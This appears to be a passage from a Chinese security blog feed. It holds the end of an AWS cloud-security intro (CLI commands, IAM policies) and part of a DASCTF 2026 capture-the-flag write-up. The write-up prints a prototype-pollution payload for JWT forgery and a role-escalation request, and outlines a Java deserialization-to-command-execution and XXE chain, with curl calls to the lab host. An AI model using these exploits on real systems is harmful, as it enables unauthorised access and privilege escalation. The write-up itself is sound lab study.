id="常用命令分类"><a href="#常用命令分类" class="headerlink" title="常用命令分类"></a>常用命令分类</h3><h4 id="一、S3-存储服务"><a href="#一、S3-存储服务" class="headerlink" title="一、S3 存储服务"></a>一、S3 存储服务</h4><table><thead><tr><th align="left">操作</th><th align="left">命令</th></tr></thead><tbody><tr><td align="left">列出所有存储桶</td><td align="left"><code>aws s3 ls</code></td></tr><tr><td align="left">创建存储桶</td><td align="left"><code>aws s3 mb s3://桶名</code></td></tr><tr><td align="left">上传文件</td><td align="left"><code>aws s3 cp 本地文件 s3://桶名/远程路径</code></td></tr><tr><td align="left">下载文件</td><td align="left"><code>aws s3 cp s3://桶名/文件 ./</code></td></tr><tr><td align="left">同步整个目录</td><td align="left"><code>aws s3 sync ./本地目录 s3://桶名/远程目录</code></td></tr><tr><td align="left">删除文件</td><td align="left"><code>aws s3 rm s3://桶名/文件</code></td></tr><tr><td align="left">删除存储桶（需先清空）</td><td align="left"><code>aws s3 rb s3://桶名 --force</code></td></tr><tr><td align="left">移动文件</td><td align="left"><code>aws s3 mv s3://桶名/源 s3://桶名/目标</code></td></tr><tr><td align="left">生成预签名 URL</td><td align="left"><code>aws s3 presign s3://桶名/文件 --expires-in 秒数</code></td></tr></tbody></table><p><strong>示例</strong>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 上传文件到私有桶</span></span><br><span class="line">aws s3 <span class="built_in">cp</span> myfile.txt s3://my-bucket/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载整个目录</span></span><br><span class="line">aws s3 <span class="built_in">cp</span> s3://my-bucket/logs/ ./logs/ --recursive</span><br><span class="line"></span><br><span class="line"><span class="comment"># 同步本地文件夹到 S3（只上传有变化的文件）</span></span><br><span class="line">aws s3 <span class="built_in">sync</span> ./assets/ s3://my-bucket/assets/</span><br></pre></td></tr></tbody></table></figure><h4 id="二、EC2-计算服务"><a href="#二、EC2-计算服务" class="headerlink" title="二、EC2 计算服务"></a>二、EC2 计算服务</h4><table><thead><tr><th align="left">操作</th><th align="left">命令</th></tr></thead><tbody><tr><td align="left">列出所有实例</td><td align="left"><code>aws ec2 describe-instances</code></td></tr><tr><td align="left">列出运行中的实例</td><td align="left"><code>aws ec2 describe-instances --filters "Name=instance-state-name,Values=running"</code></td></tr><tr><td align="left">启动实例</td><td align="left"><code>aws ec2 start-instances --instance-ids i-xxxxx</code></td></tr><tr><td align="left">停止实例</td><td align="left"><code>aws ec2 stop-instances --instance-ids i-xxxxx</code></td></tr><tr><td align="left">重启实例</td><td align="left"><code>aws ec2 reboot-instances --instance-ids i-xxxxx</code></td></tr><tr><td align="left">终止实例</td><td align="left"><code>aws ec2 terminate-instances --instance-ids i-xxxxx</code></td></tr><tr><td align="left">查询实例的公共 IP</td><td align="left"><code>aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress"</code></td></tr></tbody></table><p><strong>示例</strong>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看特定实例的详细信息</span></span><br><span class="line">aws ec2 describe-instances --instance-ids i-1234567890abcdef0</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用 --query 过滤输出（提取实例 ID 和状态）</span></span><br><span class="line">aws ec2 describe-instances --query <span class="string">"Reservations[*].Instances[*].[InstanceId,State.Name]"</span> --output table</span><br></pre></td></tr></tbody></table></figure><h4 id="三、IAM-身份管理"><a href="#三、IAM-身份管理" class="headerlink" title="三、IAM 身份管理"></a>三、IAM 身份管理</h4><table><thead><tr><th align="left">操作</th><th align="left">命令</th></tr></thead><tbody><tr><td align="left">列出所有用户</td><td align="left"><code>aws iam list-users</code></td></tr><tr><td align="left">创建用户</td><td align="left"><code>aws iam create-user --user-name 用户名</code></td></tr><tr><td align="left">删除用户</td><td align="left"><code>aws iam delete-user --user-name 用户名</code></td></tr><tr><td align="left">列出策略</td><td align="left"><code>aws iam list-policies</code></td></tr><tr><td align="left">附加策略给用户</td><td align="left"><code>aws iam attach-user-policy --user-name 用户名 --policy-arn arn:aws:iam::aws:policy/策略名</code></td></tr><tr><td align="left">获取当前用户信息</td><td align="left"><code>aws sts get-caller-identity</code></td></tr></tbody></table><hr><h4 id="四、通用命令格式"><a href="#四、通用命令格式" class="headerlink" title="四、通用命令格式"></a>四、通用命令格式</h4><table><thead><tr><th align="left">操作</th><th align="left">命令</th></tr></thead><tbody><tr><td align="left">查看帮助</td><td align="left"><code>aws &lt;服务&gt; help</code> 或 <code>aws help</code></td></tr><tr><td align="left">查看命令可用选项</td><td align="left"><code>aws &lt;服务&gt; &lt;操作&gt; help</code></td></tr><tr><td align="left">指定不同的区域</td><td align="left"><code>--region ap-northeast-1</code></td></tr><tr><td align="left">指定输出格式</td><td align="left"><code>--output json</code> / <code>text</code> / <code>table</code> / <code>yaml</code></td></tr><tr><td align="left">仅显示特定字段</td><td align="left"><code>--query "字段路径"</code></td></tr><tr><td align="left">查看请求的详细过程</td><td align="left"><code>--debug</code></td></tr></tbody></table><h1 id="尝试"><a href="#尝试" class="headerlink" title="尝试"></a>尝试</h1><p>这一部分没必要看了，写的乱七八糟的，主要就是要自己上控制台看看这些东西在哪来配置，以运维的视角看看这些概念是怎么运作的</p><h2 id="创建aws账户"><a href="#创建aws账户" class="headerlink" title="创建aws账户"></a>创建aws账户</h2><p><a href="https://aws.amazon.com/cn/console/?utm_source=chatgpt.com">AWS Console 亚马逊云管理控制台 - AWS云服务</a></p><p>我已经创建好了就不写过程了，按照指引走就行了，不会的要么问ai要么默认</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260531191030373.png" alt="image-20260531191030373" loading="lazy" decoding="async"></p><h2 id="创建IAM用户"><a href="#创建IAM用户" class="headerlink" title="创建IAM用户"></a>创建IAM用户</h2><p>一般的云资源是一些公司厂商共同使用，如果底下每一个用户都使用邮箱创建的最高权限账户往往会带来风险，这时候就需要创建分配具体权限的用户秉持着<strong>最小权限原则</strong></p><p>创建用户后可以选择添加用户到组或复制权限或最直接附加策略</p><ul><li>添加用户到组：这种情况往往是公司已经分配好工作组了，具体的工作组有具体的权限，这样新用户可以根据工作安排直接进组，享有组中的权限</li><li>复制权限：将已经创建好的用户的权限直接复制</li><li>直接附加策略：不同策略有不同的权限，相当于直接给该用户附加权限了</li></ul><p>一些常见的策略</p><table><thead><tr><th>策略名称</th><th>权限范围</th><th>相当于什么</th><th>风险等级</th></tr></thead><tbody><tr><td><code>AdministratorAccess</code></td><td>AWS所有资源完全控制</td><td>Linux root</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td><code>ReadOnlyAccess</code></td><td>所有资源只读</td><td>Linux 普通用户 + 只读</td><td>⭐⭐</td></tr><tr><td><code>IAMFullAccess</code></td><td>完全控制 IAM</td><td>域管理员权限管理</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td><code>IAMReadOnlyAccess</code></td><td>查看 IAM</td><td>查看用户和权限配置</td><td>⭐⭐</td></tr><tr><td><code>AmazonS3FullAccess</code></td><td>完全控制 S3</td><td>文件服务器管理员</td><td>⭐⭐⭐⭐</td></tr><tr><td><code>AmazonS3ReadOnlyAccess</code></td><td>只读 S3</td><td>文件查看权限</td><td>⭐</td></tr><tr><td><code>AmazonEC2FullAccess</code></td><td>完全控制 EC2</td><td>虚拟机管理员</td><td>⭐⭐⭐⭐</td></tr><tr><td><code>AmazonEC2ReadOnlyAccess</code></td><td>查看 EC2</td><td>查看服务器信息</td><td>⭐</td></tr><tr><td><code>AmazonVPCFullAccess</code></td><td>管理 VPC</td><td>网络管理员</td><td>⭐⭐⭐</td></tr><tr><td><code>AmazonRDSFullAccess</code></td><td>管理数据库</td><td>DBA</td><td>⭐⭐⭐⭐</td></tr><tr><td><code>AmazonRDSReadOnlyAccess</code></td><td>查看数据库配置</td><td>数据库审计员</td><td>⭐</td></tr><tr><td><code>AWSLambda_FullAccess</code></td><td>管理 Lambda</td><td>Serverless 管理员</td><td>⭐⭐⭐</td></tr><tr><td><code>CloudTrailFullAccess</code></td><td>管理审计日志</td><td>日志管理员</td><td>⭐⭐⭐⭐</td></tr><tr><td><code>CloudWatchFullAccess</code></td><td>管理监控</td><td>运维监控管理员</td><td>⭐⭐</td></tr></tbody></table><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260531192502108.png" alt="image-20260531192502108" loading="lazy" decoding="async"></p><p>现在给他只给这个用户读取S3的权限</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260531193130122.png" alt="image-20260531193130122" loading="lazy" decoding="async"></p><p>这里创建的IAM用户是可以通过提供的url和密码在网页端登录的，cli处的管理还没有开始学</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601130115863.png" alt="image-20260601130115863" loading="lazy" decoding="async"></p><p>记得创建访问密钥，这是aws-cli登录的前提</p><h2 id="创建S3存储桶"><a href="#创建S3存储桶" class="headerlink" title="创建S3存储桶"></a>创建S3存储桶</h2><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260531193337666.png" alt="image-20260531193337666" loading="lazy" decoding="async"></p><ol><li><p>点击“<strong>创建存储桶</strong>”</p><ul><li><strong>桶名</strong>：<code>my-first-web-你的名字拼音-日期</code>（例如 <code>my-first-web-lilei-0601</code>），必须<strong>全局唯一</strong></li><li><strong>区域</strong>：选离你最近的（如 <code>ap-northeast-1</code> 东京）</li><li><strong>勾选</strong>“阻止全部公共访问权限”</li><li>其他默认，点击“创建存储桶”</li></ul></li><li><p>创建 <code>index.txt</code> 文件，内容如下：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hello world   </span><br></pre></td></tr></tbody></table></figure></li><li><p>在S3控制台点击桶名 → “<strong>上传</strong>” → 添加 <code>index.html</code> → 下一步</p></li><li><p><strong>关键步骤</strong>：在“设置权限”页面，将“<strong>预定义ACL</strong>”设置为“<strong>使所有人都可以公开读取</strong>”</p></li><li><p>点击“上传”<br>因为我们设置的explorer用户只有读取c3的权限，所以可以上那个用户看看它的面板</p></li></ol><h2 id="创建ec2"><a href="#创建ec2" class="headerlink" title="创建ec2"></a>创建ec2</h2><p>因为我是使用ssh密钥登录的，所以要先去ec2-&gt;密钥对中创建密码，将本地创建的公钥导入</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260531200550794.png" alt="image-20260531200550794" loading="lazy" decoding="async"></p><ul><li><p>ubuntu系统</p></li><li><p>t3.micro实例</p></li><li><p>启动实例</p></li></ul><p>这样就用它的免费额度创建了一台轻量级的vps（相当轻量级2核1G，这台服务器我也就拿来做云安全的相关实验了）</p><p>之后直接在<code>termius</code>上连接这台服务器</p><h2 id="cli交互"><a href="#cli交互" class="headerlink" title="cli交互"></a>cli交互</h2><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601131925850.png" alt="image-20260601131925850" loading="lazy" decoding="async"></p><p>在aws-cli上配置</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601132118250.png" alt="image-20260601132118250" loading="lazy" decoding="async"></p><p>查看存储桶，查看存储桶中的具体文件</p><p>现在本地写一个flag文件</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag{hacked_by_btop251}</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601133051678.png" alt="image-20260601133051678" loading="lazy" decoding="async"></p><p>尝试上传，注意到权限不足，因为在配置的时候只给了这个用户查看存储桶的权限</p><p>现在给他添加一些别的权限尝试</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601132410848.png" alt="image-20260601132410848" loading="lazy" decoding="async"></p><p>现在这个explorer用户具备完全控制S3存储桶和ec2的权限</p><p>再次尝试上传</p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601133159947.png" alt="image-20260601133159947" loading="lazy" decoding="async"></p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/image-20260601133303375.png" alt="image-20260601133303375" loading="lazy" decoding="async"></p><p>成功了</p><p>一些其他尝试截屏要打码太麻烦了，自己去玩<br>云资产的基础部分大概就过这么多，现在对于一些资产的基本概念大概都搞清楚了，接下来就直接找靶场开打，以练代学了</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/Cloud-Security01/</id>
    <link href="https://blog.btop251.top/Cloud-Security/Cloud-Security01/"/>
    <published>2026-05-31T00:00:00.000Z</published>
    <summary>这篇重点在说明云安全中的相关概念</summary>
    <title>云安全01</title>
    <updated>2026-06-01T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="CTF" scheme="https://blog.btop251.top/categories/CTF/"/>
    <category term="CTF" scheme="https://blog.btop251.top/tags/CTF/"/>
    <category term="game" scheme="https://blog.btop251.top/tags/game/"/>
    <content>
      <![CDATA[<html><head></head><body><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530141841058.png" alt="image-20260530141841058" loading="eager" decoding="async"></p><p>WEB就三道题，一个js原型链污染，一个高并发flask，一个java，手注0，ai3，gpt拿了mvp，btop251是躺赢狗</p><h2 id="CorpGate"><a href="#CorpGate" class="headerlink" title="CorpGate"></a>CorpGate</h2><blockquote><p>一套全新的企业员工门户系统CorpGate</p></blockquote><p>源码分析</p><ol><li>用户可控的设置合并入口</li></ol><p><code>routes/user.js</code> 中的 <code>/api/settings</code> 会把用户提交的 JSON 合并到当前用户的 <code>settings</code> 对象：</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">router.<span class="title function_">post</span>(<span class="string">'/api/settings'</span>, authMiddleware, <span class="function">(<span class="params">req, res</span>) =&gt;</span> {</span><br><span class="line">  <span class="keyword">const</span> user = <span class="title class_">Object</span>.<span class="title function_">values</span>(users).<span class="title function_">find</span>(<span class="function"><span class="params">u</span> =&gt;</span> u.<span class="property">id</span> === req.<span class="property">user</span>.<span class="property">id</span>);</span><br><span class="line">  <span class="keyword">if</span> (!user) <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">404</span>).<span class="title function_">json</span>({ <span class="attr">error</span>: <span class="string">'User not found'</span> });</span><br><span class="line">  <span class="keyword">if</span> (<span class="keyword">typeof</span> req.<span class="property">body</span> !== <span class="string">'object'</span> || req.<span class="property">body</span> === <span class="literal">null</span> || <span class="title class_">Array</span>.<span class="title function_">isArray</span>(req.<span class="property">body</span>)) <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">400</span>).<span class="title function_">json</span>({ <span class="attr">error</span>: <span class="string">'Invalid request body'</span> });</span><br><span class="line">  <span class="title function_">deepMerge</span>(user.<span class="property">settings</span>, req.<span class="property">body</span>);</span><br><span class="line">  res.<span class="title function_">json</span>({ <span class="attr">success</span>: <span class="literal">true</span>, <span class="attr">message</span>: <span class="string">'Settings updated'</span>, <span class="attr">settings</span>: user.<span class="property">settings</span> });</span><br><span class="line">});</span><br></pre></td></tr></tbody></table></figure><p>这里 <code>req.body</code> 完全由用户控制，危险点在 <code>deepMerge()</code>。</p><ol start="2"><li>深度合并存在原型链污染绕过</li></ol><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="variable constant_">BLOCKED_ROOTS</span> = [<span class="string">'__proto__'</span>, <span class="string">'__defineGetter__'</span>, <span class="string">'__defineSetter__'</span>, <span class="string">'constructor'</span>, <span class="string">'prototype'</span>];</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">BLOCKED_KEYS</span> = [<span class="string">'__proto__'</span>, <span class="string">'__defineGetter__'</span>, <span class="string">'__defineSetter__'</span>];</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">MAX_DEPTH</span> = <span class="number">6</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">sanitizeKey</span>(<span class="params">key</span>) {</span><br><span class="line">  <span class="keyword">return</span> key.<span class="title function_">replace</span>(<span class="regexp">/\./g</span>, <span class="string">''</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deepMerge</span>(<span class="params">target, source, depth</span>) {</span><br><span class="line">  <span class="keyword">if</span> (depth === <span class="literal">undefined</span>) depth = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> (depth &gt;= <span class="variable constant_">MAX_DEPTH</span>) <span class="keyword">return</span> target;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> rawKey <span class="keyword">in</span> source) {</span><br><span class="line">    <span class="keyword">var</span> key = <span class="title function_">sanitizeKey</span>(rawKey);</span><br><span class="line">    <span class="keyword">if</span> (key === <span class="string">''</span>) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable constant_">BLOCKED_KEYS</span>.<span class="title function_">indexOf</span>(key) !== -<span class="number">1</span>) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">if</span> (depth &lt; <span class="number">3</span> &amp;&amp; <span class="variable constant_">BLOCKED_ROOTS</span>.<span class="title function_">indexOf</span>(key) !== -<span class="number">1</span>) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_">isPlainObject</span>(source[rawKey])) {</span><br><span class="line">      <span class="keyword">if</span> (<span class="keyword">typeof</span> target[key] === <span class="string">'object'</span> &amp;&amp; target[key] !== <span class="literal">null</span>) {</span><br><span class="line">        <span class="title function_">deepMerge</span>(target[key], source[rawKey], depth + <span class="number">1</span>);</span><br><span class="line">      } <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> target[key] === <span class="string">'function'</span>) {</span><br><span class="line">        <span class="title function_">deepMerge</span>(target[key], source[rawKey], depth + <span class="number">1</span>);</span><br><span class="line">      }</span><br><span class="line">    } <span class="keyword">else</span> {</span><br><span class="line">      target[key] = source[rawKey];</span><br><span class="line">    }</span><br><span class="line">  }</span><br><span class="line">  <span class="keyword">return</span> target;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>过滤逻辑的问题：</p><ul><li><code>constructor</code> 和 <code>prototype</code> 只在 <code>depth &lt; 3</code> 时被拦截；</li><li>当深度达到 3 后，可以使用 <code>constructor.prototype</code>；</li><li>代码还允许 <code>target[key]</code> 是函数时继续递归；</li><li>对象的 <code>constructor</code> 通常是 <code>Object</code> 函数，继续访问其 <code>prototype</code> 即可到达 <code>Object.prototype</code>。</li></ul><p>于是可以构造</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line">  <span class="attr">"notifications"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">    <span class="attr">"digest"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">      <span class="attr">"channels"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">        <span class="attr">"constructor"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">          <span class="attr">"prototype"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">            <span class="attr">"pending"</span><span class="punctuation">:</span> <span class="string">"attacker-known-secret"</span></span><br><span class="line">          <span class="punctuation">}</span></span><br><span class="line">        <span class="punctuation">}</span></span><br><span class="line">      <span class="punctuation">}</span></span><br><span class="line">    <span class="punctuation">}</span></span><br><span class="line">  <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>合并路径：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">user.settings.notifications.digest.channels.constructor.prototype.pending</span><br></pre></td></tr></tbody></table></figure><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530143119183.png" alt="image-20260530143119183" loading="lazy" decoding="async"></p><p>污染之后去<code>/api/system/healthcheck</code>触发更新</p><p>这样secretkey就变成secret了，接下来伪造jwt密钥获得admin权限</p><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530143501476.png" alt="image-20260530143501476" loading="lazy" decoding="async"></p><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530144301425.png" alt="image-20260530144301425" loading="lazy" decoding="async"></p><h2 id="TaxManager"><a href="#TaxManager" class="headerlink" title="TaxManager"></a>TaxManager</h2><blockquote><p>安全的税务系统</p></blockquote><p>JVAV还一点不会，直接ai梭的，所以直接贴ai的wp了</p><h3 id="一、题目概览"><a href="#一、题目概览" class="headerlink" title="一、题目概览"></a>一、题目概览</h3><p>这题表面上是一个税务管理系统，附件提供了一个 Spring Boot JAR。<br>实际解题时有一个关键点：<strong>远端运行的 JAR 和附件里的 JAR 不是同一个版本</strong>。</p><p>本题真实利用链如下：</p><ol><li>注册并登录普通用户</li><li>利用 <code>/api/profile/update</code> 的反射赋值越权，把自己角色改成 <code>reviewer</code></li><li>申请一条退款记录</li><li>构造恶意 <code>attachmentData</code>，经 <code>/api/review</code> 写入 <code>voucherData</code></li><li>调用 <code>/api/export/generate</code> 触发 Java 反序列化</li><li>反序列化链中进入 Freemarker 模板执行，执行系统命令</li><li>将 flag 写入 <code>/tmp/x</code></li><li>利用 <code>/api/import/history</code> 的 XXE 读取 <code>/tmp/x</code></li></ol><hr><h3 id="二、附件审计与远端差异确认"><a href="#二、附件审计与远端差异确认" class="headerlink" title="二、附件审计与远端差异确认"></a>二、附件审计与远端差异确认</h3><p>附件路径：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar</span><br></pre></td></tr></tbody></table></figure><p>先看附件哈希：</p><figure class="highlight powershell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Get-FileHash</span> <span class="literal">-Algorithm</span> SHA256 `</span><br><span class="line">  <span class="string">'D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar'</span></span><br></pre></td></tr></tbody></table></figure><p>附件哈希：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">E11BCB326E86B11DF52ADB0DB895A457FAC4A95C1E11D00D97A05B83E7A53737</span><br></pre></td></tr></tbody></table></figure><p>然后访问公开帮助接口：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help</span><br></pre></td></tr></tbody></table></figure><p>帮助接口中出现了：</p><ul><li><code>GET /download/app.jar</code></li></ul><p>下载远端运行包：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -L -o remote_app.jar http://ee4912d8.http-ctf2.dasctf.com:80/download/app.jar</span><br></pre></td></tr></tbody></table></figure><p>计算远端包哈希：</p><figure class="highlight powershell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Get-FileHash</span> <span class="literal">-Algorithm</span> SHA256 .\remote_app.jar</span><br></pre></td></tr></tbody></table></figure><p>远端哈希：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A25551A7BE8B11A3F07DFBEE32D8ACFBEA35E2FDAA6B1D90BD8A2A8EE234D92E</span><br></pre></td></tr></tbody></table></figure><p>结论：</p><ul><li><strong>附件 JAR != 远端运行 JAR</strong></li><li>后续分析必须以 <code>remote_app.jar</code> 为准</li></ul><hr><h3 id="三、信息收集"><a href="#三、信息收集" class="headerlink" title="三、信息收集"></a>三、信息收集</h3><p>首页与帮助接口：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl http://ee4912d8.http-ctf2.dasctf.com:80/</span><br><span class="line">curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help</span><br></pre></td></tr></tbody></table></figure><p>可以得到这些接口：</p><ul><li><code>/api/register</code></li><li><code>/api/login</code></li><li><code>/api/profile/update</code></li><li><code>/api/refund/apply</code></li><li><code>/api/review</code></li><li><code>/api/export/prepare</code></li><li><code>/api/export/generate</code></li><li><code>/api/import/history</code></li><li><code>/download/app.jar</code></li></ul><p>帮助接口还明确写了：</p><ul><li>角色有 <code>taxpayer | reviewer | admin</code></li><li>voucher 是 “Java object, base64 encoded”</li><li>export 是“两步流程”</li></ul><p>这几个点已经很像故意给的出题线索。</p><hr><h3 id="四、反编译远端-JAR"><a href="#四、反编译远端-JAR" class="headerlink" title="四、反编译远端 JAR"></a>四、反编译远端 JAR</h3><p>列出远端 JAR 内容：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jar tf remote_app.jar</span><br></pre></td></tr></tbody></table></figure><p>提取 <code>BOOT-INF/classes</code>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jar xf remote_app.jar BOOT-INF/classes BOOT-INF/lib META-INF/maven</span><br></pre></td></tr></tbody></table></figure><p>关键类：</p><ul><li><code>com.tax.controller.AuthController</code></li><li><code>com.tax.controller.ReviewController</code></li><li><code>com.tax.controller.ExportController</code></li><li><code>com.tax.controller.ImportController</code></li><li><code>com.tax.util.SerializeUtil</code></li><li><code>com.tax.util.ScheduledTaskHandler</code></li><li><code>com.tax.job.ReportJob</code></li><li><code>com.tax.report.PdfReportGenerator</code></li></ul><p>反编译可直接用：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">javap -classpath BOOT-INF/classes -c -p com.tax.controller.AuthController</span><br><span class="line">javap -classpath BOOT-INF/classes -c -p com.tax.controller.ReviewController</span><br><span class="line">javap -classpath BOOT-INF/classes -c -p com.tax.controller.ExportController</span><br><span class="line">javap -classpath BOOT-INF/classes -c -p com.tax.controller.ImportController</span><br></pre></td></tr></tbody></table></figure><hr><h3 id="五、漏洞-1：角色越权"><a href="#五、漏洞-1：角色越权" class="headerlink" title="五、漏洞 1：角色越权"></a>五、漏洞 1：角色越权</h3><h4 id="1-漏洞点"><a href="#1-漏洞点" class="headerlink" title="1. 漏洞点"></a>1. 漏洞点</h4><p><code>AuthController.updateProfile()</code> 对用户提交的 JSON 做了反射赋值：</p><p>逻辑核心：</p><ul><li>只禁止修改：<code>id</code>、<code>username</code>、<code>password</code></li><li>如果字段名是 <code>role</code> 且值为 <code>admin</code>，会跳过</li><li><strong>但没有禁止把 <code>role</code> 改成 <code>reviewer</code></strong></li></ul><p>也就是：</p><ul><li><code>role=admin</code> 不行</li><li><code>role=reviewer</code> 可以</li></ul><h4 id="2-利用方式"><a href="#2-利用方式" class="headerlink" title="2. 利用方式"></a>2. 利用方式</h4><p>先注册登录，然后发：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /api/profile/update</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">{"role":"reviewer"}</span><br></pre></td></tr></tbody></table></figure><p>验证：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -b cookies http://ee4912d8.http-ctf2.dasctf.com:80/api/profile</span><br></pre></td></tr></tbody></table></figure><p>返回中 <code>role</code> 变成了：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td 